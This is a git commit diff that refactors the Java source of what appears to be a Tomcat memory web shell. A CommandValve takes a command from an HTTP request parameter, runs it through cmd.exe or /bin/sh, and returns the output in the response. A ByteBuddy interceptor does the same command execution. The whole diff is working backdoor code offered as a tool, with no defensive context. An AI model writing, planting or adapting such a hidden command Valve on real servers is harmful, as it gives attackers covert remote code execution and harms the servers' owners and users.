refactor: simplify command shell

This commit is contained in:
ReaJason
2025-09-12 22:51:50 +08:00
parent c31c3bd958
commit 92c0d1d8a8
2 changed files with 7 additions and 11 deletions
@@ -12,6 +12,7 @@ import java.io.InputStream;
public class RuntimeExecInterceptor { public class RuntimeExecInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream(); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
} }
} }
@@ -8,12 +8,13 @@ import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream; import javax.servlet.ServletOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class CommandValve implements Valve { public class CommandValve implements Valve {
private static String paramName; static String paramName;
@Override @Override
public void invoke(Request request, Response response) throws IOException, ServletException { public void invoke(Request request, Response response) throws IOException, ServletException {
@@ -21,12 +22,7 @@ public class CommandValve implements Valve {
String param = getParam(request.getParameter(paramName)); String param = getParam(request.getParameter(paramName));
if (param != null) { if (param != null) {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream(); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return; return;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -43,8 +39,7 @@ public class CommandValve implements Valve {
return null; return null;
} }
protected Valve next; Valve next;
protected boolean asyncSupported;
@Override @Override
public Valve getNext() { public Valve getNext() {
@@ -58,7 +53,7 @@ public class CommandValve implements Valve {
@Override @Override
public boolean isAsyncSupported() { public boolean isAsyncSupported() {
return this.asyncSupported; return false;
} }
@Override @Override